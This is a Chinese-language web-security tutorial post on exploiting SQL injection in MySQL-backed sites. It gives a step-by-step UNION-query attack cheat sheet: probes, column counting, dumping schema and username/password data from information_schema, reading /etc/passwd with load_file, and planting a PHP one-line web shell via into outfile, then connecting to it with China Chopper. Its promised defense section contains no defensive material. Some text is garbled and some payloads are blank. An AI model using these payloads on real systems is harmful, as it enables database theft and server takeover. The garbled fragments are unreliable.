Web安全之SQL注入漏洞[1]

Web安全之SQL注入漏洞

本節(jié)知識(shí)點(diǎn)

SQL注入原理

前言

結(jié)構(gòu)化查詢語句(Structured Query Language,縮寫:SQL),是一種特殊的編程語言,用于數(shù)據(jù)庫(kù)中的標(biāo)準(zhǔn)數(shù)據(jù)查詢語言。

SQL注入(SQL Injection)是一種常見的Web安全漏洞,攻擊者利用這個(gè)問題,可以訪問或者修改數(shù)據(jù),或者利用潛在的數(shù)據(jù)庫(kù)漏洞進(jìn)行攻擊。

什么是SQL注入?

SQL注入(Sql Injection)是一種講SQL語句插入或者添加到應(yīng)用(用戶)的輸入?yún)?shù)中的攻擊,之后再將這些參數(shù)傳遞給后臺(tái)的SQL服務(wù)器加以解析并執(zhí)行。

常見的Web架構(gòu)

表示層:Web瀏覽器/呈現(xiàn)引擎---訪問網(wǎng)站

邏輯層:腳本語言:ASP、PHP、JSP、.NET等---加載、編譯并執(zhí)行腳本文件

存儲(chǔ)層:數(shù)據(jù)庫(kù):MSSQL、MYSQL、ORACLE等---執(zhí)行SQL語句

哪里存在SQL注入?

哪里存在SQL注入?

lGET

lPOST

lHTTP頭部注入

lCookie注入

l……

任何客戶端可控,傳遞到服務(wù)器的變量。

漏洞原理

針對(duì)SQL注入的攻擊行為,可描述為通過用戶可控參數(shù)中注入SQL語法,破壞原有的SQL結(jié)構(gòu),達(dá)到編寫程序時(shí)意料之外的結(jié)果的攻擊行為。

其成因可以歸結(jié)為以下兩點(diǎn)原因疊加造成的:

1.程序編寫者再處理程序和數(shù)據(jù)庫(kù)交互的時(shí)候,使用字符拼接的方法構(gòu)造SQL語句

2.未對(duì)用戶可控參數(shù)進(jìn)行足夠的過濾便將參數(shù)內(nèi)容拼接進(jìn)入到SQL語句中

SQL注入危害

漏洞危害

攻擊者利用SQL注入漏洞,可以獲取數(shù)據(jù)庫(kù)中的多種信息(例如:管理員后臺(tái)密碼),從而脫取數(shù)據(jù)庫(kù)中內(nèi)容(脫庫(kù))。在特別情況下,還可以修改數(shù)據(jù)庫(kù)內(nèi)容或者插入內(nèi)容到數(shù)據(jù)庫(kù),如果數(shù)據(jù)庫(kù)權(quán)限分配存在問題,或者數(shù)據(jù)庫(kù)本身存在缺陷,那么攻擊者可以通過SQL注入漏洞直接獲取Webshell或者服務(wù)器系統(tǒng)權(quán)限。

SQL注入分類和利用

SQL注入的分類

根據(jù)SQL數(shù)據(jù)類型分類

整型注入

字符串類型注入

根據(jù)注入的語法分類

UNIONquery SQL injection(可聯(lián)合查詢注入)

Eoor-basedSQL injection(報(bào)錯(cuò)型注入)

Boolean-basedbind SQL injection(布爾型注入)

Time-basedbind SQL injection(基于時(shí)間延遲注入)

Stackedqueries SQL injection(可多語句查詢注入)

如何去判斷SQL注入漏洞?

判斷注入

uand

1=1 / and 1=2回顯頁面不同(整型判斷)

u單引號(hào)’判斷顯示數(shù)據(jù)庫(kù)錯(cuò)誤信息或者頁面回顯不同(整型,字符串類型判斷)

u\(轉(zhuǎn)義符)

u-1

/ +1回顯下一個(gè)或者上一個(gè)頁面(整型判斷)

uand

sleep(5) (判斷頁面返回時(shí)間)

SQL注入漏洞的利用

MySQL數(shù)據(jù)庫(kù)的特性

一.MySQL中的3種注釋風(fēng)格

u#

(url編碼為%23)

u--

(--后面要跟上一個(gè)或者多個(gè)空格)

u--+

(+相當(dāng)于空格)

u/*…*/

u/*!...*/

二.MySQL函數(shù)利用

1.常用函數(shù)

luser()---數(shù)據(jù)庫(kù)用戶名

l

mysql>select user();

+----------------+

|user()|

+----------------+

|root@localhost |

+----------------+

1 rowin set (0.00 sec)

ldatabase()---數(shù)據(jù)庫(kù)名

l

mysql>select database();

+------------+

| database()|

+------------+

|security|

+------------+

1 rowin set (0.00 sec)

l@@datadir---數(shù)據(jù)庫(kù)路徑

l

mysql>select @@datadir;

+-----------------------+

|@@datadir|

+-----------------------+

|C:\server\mysql\data\ |

+-----------------------+

1 rowin set (0.00 sec)

l@@version_compile_os---操作系統(tǒng)版本

l

mysql>select @@version_compile_os;

+----------------------+

|@@version_compile_os |

+----------------------+

|Win64|

+----------------------+

1 rowin set (0.00 sec)

lversion()---MySQL數(shù)據(jù)庫(kù)版本

l

mysql>select version();

+-----------+

|version() |

+-----------+

|5.7.16|

+-----------+

1 rowin set (0.04 sec)

l@@version---MySQL數(shù)據(jù)庫(kù)版本

l

mysql>select @@version;

+-----------+

|@@version |

+-----------+

|5.7.16|

+-----------+

1 rowin set (0.00 sec)

2.load_file()函數(shù)讀取文件操作

前提:

l知道文件的絕對(duì)路徑

l能夠使用union查詢

l對(duì)web目錄有寫的權(quán)限

UNION SELECT1,load_file('/etc/passwd’),3,4,5#

0x2f6574632f706173737764

UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5#

路徑?jīng)]有加單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制

要是想省略單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制

3.into

outfile ‘路徑’寫入文件操作

前提:

l文件名必須是全路徑(絕對(duì)路徑)

l用戶必須有寫文件的權(quán)限

l沒有對(duì)單引號(hào)’過濾

SELECT ‘’ intooutfile ‘C:\\Windows\\tmp\\1.php’

SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’

路徑里面兩個(gè)反斜杠\\可以換成一個(gè)正斜杠/

PHP語句沒有加單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制

要是想省略單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制

后面路徑的單引號(hào)不能省略

或者




建議一句話PHP語句轉(zhuǎn)換成十六進(jìn)制

4.連接字符串函數(shù)

lConcat(str1,str2)---沒有分隔符的連接字符串

l

mysql>select concat('1234','5678');

+-----------------------+

|concat('1234','5678') |

+-----------------------+

|12345678|

+-----------------------+

1 rowin set (0.03 sec)

lconcat_ws(separator,str1,str2)---含有分隔符的連接字符串

l

mysql>select concat_ws(0x7e,'1234','5678');

+-------------------------------+

|concat_ws(0x7e,'1234','5678') |

+-------------------------------+

|1234~5678|

+-------------------------------+

1 rowin set (0.04 sec)

lgroup_concat(str1,str2)---連接一個(gè)組的所有字符串,并且以逗號(hào)分割每一條數(shù)據(jù)

l

mysql>select group_concat('1234','5678');

+-----------------------------+

|group_concat('1234','5678') |

+-----------------------------+

|12345678|

+-----------------------------+

1 rowin set (0.07 sec)

三.MySQL中information_schema數(shù)據(jù)庫(kù)

mysql>show tables;

+---------------------------------------+

|Tables_in_information_schema|

+---------------------------------------+

|COLUMNS|

|SCHEMATA|

|TABLES|

+---------------------------------------+

SCHEMATA表

字段:SCHEMA_NAME schema_name存放的是數(shù)據(jù)庫(kù)名稱

mysql> desc schemata;

+----------------------------+--------------+------+-----+---------+-------+

| Field| Type| Null | Key | Default | Extra |

+----------------------------+--------------+------+-----+---------+-------+

| SCHEMA_NAME| varchar(64)| NO||||

+----------------------------+--------------+------+-----+---------+-------+

5 rows in set (0.11 sec)

TABLES表

字段:TABLE_SCHEMA,TABLE_NAMEtable_schema,table_name

mysql> desc tables;

+-----------------+---------------------+------+-----+---------+-------+

| Field| Type| Null | Key | Default | Extra|

+-----------------+---------------------+------+-----+---------+-------+

| TABLE_SCHEMA| varchar(64)| NO||||

| TABLE_NAME| varchar(64)| NO||||

+-----------------+---------------------+------+-----+---------+-------+

21 rows in set (0.00 sec)

COLUMNS表

字段:TABLE_SCHEMA,TABLE_NAME,COLUMN_NAMEtable_schema,table_name,column_name

mysql> desc columns;

+--------------------------+---------------------+------+-----+---------+------

| Field| Type| Null | Key | Default | Extra

|

+--------------------------+---------------------+------+-----+---------+------

| TABLE_SCHEMA| varchar(64)| NO|||

|

| TABLE_NAME| varchar(64)| NO|||

|

| COLUMN_NAME| varchar(64)| NO|||

+--------------------------+---------------------+------+-----+---------+------

四.MySQL中UNION規(guī)則

lUNION必須由兩條或者兩條以上的SELECT語句組成,語句之間關(guān)鍵字用UNION分隔

lUNION中的查詢必須含有相同的列

lUNION會(huì)從查詢結(jié)果中集中自動(dòng)取出重復(fù)行

SQL注入挖掘以及防御

UNION query SQL injection

利用前提:頁面上有顯示位

優(yōu)點(diǎn):方便、快捷、易于利用

缺點(diǎn):需要顯示位

0x001判斷是否存在SQL注入,同時(shí)判斷注入類型:整型注入還是字符串注入

判斷注入

uand

1=1 / and 1=2回顯頁面不同(整型判斷)

u單引號(hào)’判斷顯示數(shù)據(jù)庫(kù)錯(cuò)誤信息或者頁面回顯不同(整型,字符串類型判斷)

u\(轉(zhuǎn)義符)

u-1

/ +1回顯下一個(gè)或者上一個(gè)頁面(整型判斷)

uand

sleep(5) (判斷頁面返回時(shí)間)

0x002判斷顯示位長(zhǎng)度,判斷列數(shù)(二分法)

orderby 10

orderby 20

orderby 15

……

0x003判斷查找顯示位,UNION聯(lián)合查詢

unionselect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

0x004查找獲取當(dāng)前所用的數(shù)據(jù)庫(kù)用戶名,數(shù)據(jù)庫(kù)名,數(shù)據(jù)庫(kù)路徑,操作系統(tǒng)版本,MySQL版本

user()---數(shù)據(jù)庫(kù)用戶名

database()---數(shù)據(jù)庫(kù)名

@@datadir---數(shù)據(jù)庫(kù)路徑

@@version_compile_os---操作系統(tǒng)版本

version()---MySQL數(shù)據(jù)庫(kù)版本

@@version---MySQL數(shù)據(jù)庫(kù)版本

0x005查找列出所有的數(shù)據(jù)庫(kù)名稱

limit一個(gè)一個(gè)打印出來數(shù)據(jù)庫(kù)名字

selectconcat(schema_name) from information_schema.schemata limit 0,1

group_concat一次性全部顯示

selectgroup_concat(schema_name) from information_schema.schemata

0x006查找列出所有的表名

limit一個(gè)一個(gè)打印出來表名

select

concat(table_name) from information_schema.tables where table_schema=0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制) limit 0,1

group_concat一次性全部顯示

select

group_concat(table_name) from information_schema.tables where table_schema=0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制)

0x007查找列出所有的字段

limit一個(gè)一個(gè)打印出來字段

select

concat(column_name) from information_schema.columns where table_schema=0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制) and table_name=0x(表名轉(zhuǎn)十六進(jìn)制) limit 0,1

group_concat一次性全部顯示

select group_concat(column_name)

from information_schema.columns where table_schema=0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制) and table_name=0x(表名轉(zhuǎn)十六進(jìn)制)

0x008查找列出所有需要的數(shù)據(jù)

limit一個(gè)一個(gè)打印出來數(shù)據(jù)

select

concat(concat(0x7e,username,0x7e,password)) from數(shù)據(jù)庫(kù)名字.表名limit 0,1

group_concat一次性全部顯示

select

group_concat(concat(0x7e,username,0x7e,password)) from數(shù)據(jù)庫(kù)名字.表名

0x009 load_file()讀取文件操作

前提:

l知道文件的絕對(duì)路徑

l能夠使用union查詢

l對(duì)web目錄有寫的權(quán)限

UNION SELECT1,load_file('/etc/passwd’),3,4,5#

0x2f6574632f706173737764

UNION SELECT1,load_file(0x2f6574632f706173737764),3,4,5#

路徑?jīng)]有加單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制

要是想省略單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制

0x010 into outfile寫入文件操作

前提:

l文件名必須是全路徑(絕對(duì)路徑)

l用戶必須有寫文件的權(quán)限

l沒有對(duì)單引號(hào)’過濾

SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’

SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’

路徑里面兩個(gè)反斜杠\\可以換成一個(gè)正斜杠/

PHP語句沒有加單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制

要是想省略單引號(hào)的話必須轉(zhuǎn)換成十六進(jìn)制

后面路徑的單引號(hào)不能省略


eval($_POST[CMD]); ?>或者




建議一句話PHP語句轉(zhuǎn)換成十六進(jìn)制

0x011一句話木馬


eval($_POST[CMD]); ?>或者




0x012菜刀連接

武功再高,也怕菜刀,中國(guó)菜刀,就是屌

SQL注入U(xiǎn)NION聯(lián)合查詢類型手札

0x001判斷是否存在SQL注入,同時(shí)判斷注入類型:整型注入還是字符串型注入

and 1=1 / and 1=2回顯頁面不同(整型判斷)

單引號(hào)'顯示數(shù)據(jù)庫(kù)錯(cuò)誤或者頁面回顯不同(整型、字符串類型判斷)

\轉(zhuǎn)義符

-1 / +1回顯下一頁或上一頁(整型判斷)

and sleep(5)判斷頁面返回時(shí)間

0x002判斷顯示位長(zhǎng)度,判斷列數(shù)(二分法)

order by 10

order by 20

order by 15

0x003判斷查找顯示位,UNION聯(lián)合查詢

union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

0x004查找獲取當(dāng)前所用的數(shù)據(jù)庫(kù)用戶名,數(shù)據(jù)庫(kù)名,數(shù)據(jù)庫(kù)路徑,操作系統(tǒng)版本,MySQL版本

user()---數(shù)據(jù)庫(kù)用戶名

database()---數(shù)據(jù)庫(kù)名

@@datadir---數(shù)據(jù)庫(kù)路徑

@@version_compile_os---操作系統(tǒng)版本

version()---MySQL版本

0x005查找列出所有數(shù)據(jù)庫(kù)名稱、表名

數(shù)據(jù)庫(kù):

selectconcat(schema_name) from information_schema.schemata limit 0,1

selectgroup_concat(schema_name) from information_schema.schemata

表名:

selectconcat(table_name) from information_schema.tables where table_schema = 0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制) limit 0,1

selectgroup_concat(table_name) from information_schema.tables where table_schema =0x(數(shù)據(jù)庫(kù)名稱轉(zhuǎn)十六進(jìn)制)

0x006查找列出所有的字段

select concat(column_name)from information_schema.columns where table_schema = 0x(數(shù)據(jù)庫(kù)名字轉(zhuǎn)十六進(jìn)制) and table_name = 0x(表名轉(zhuǎn)十六進(jìn)制) limit 0,1

selectgroup_concat(column_name) from information_schema.columns where table_schema =0x(數(shù)據(jù)庫(kù)名字轉(zhuǎn)十六進(jìn)制) and

table_name = 0x(表名轉(zhuǎn)十六進(jìn)制)

0x007查找列出所有需要的數(shù)據(jù)

selectconcat(concat(0x7e,username,0x7e,password)) from數(shù)據(jù)庫(kù)名字.表名limit 0,1

selectgroup_concat(concat(0x7e,username,0x7e,password)) from數(shù)據(jù)庫(kù)名字.表名

0x008 load_file()讀取文件操作

load_file('/etc/passwd')

load_file(0x2f6574632f706173737764)

0x009 into outfile寫入文件操作

''into outfile'C:\\Windows\\tmp\\1.php'

0x010一句話木馬

''

''

''

''

''

0x011菜刀連接

武功再高,也怕菜刀,中國(guó)菜刀,就是叼

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容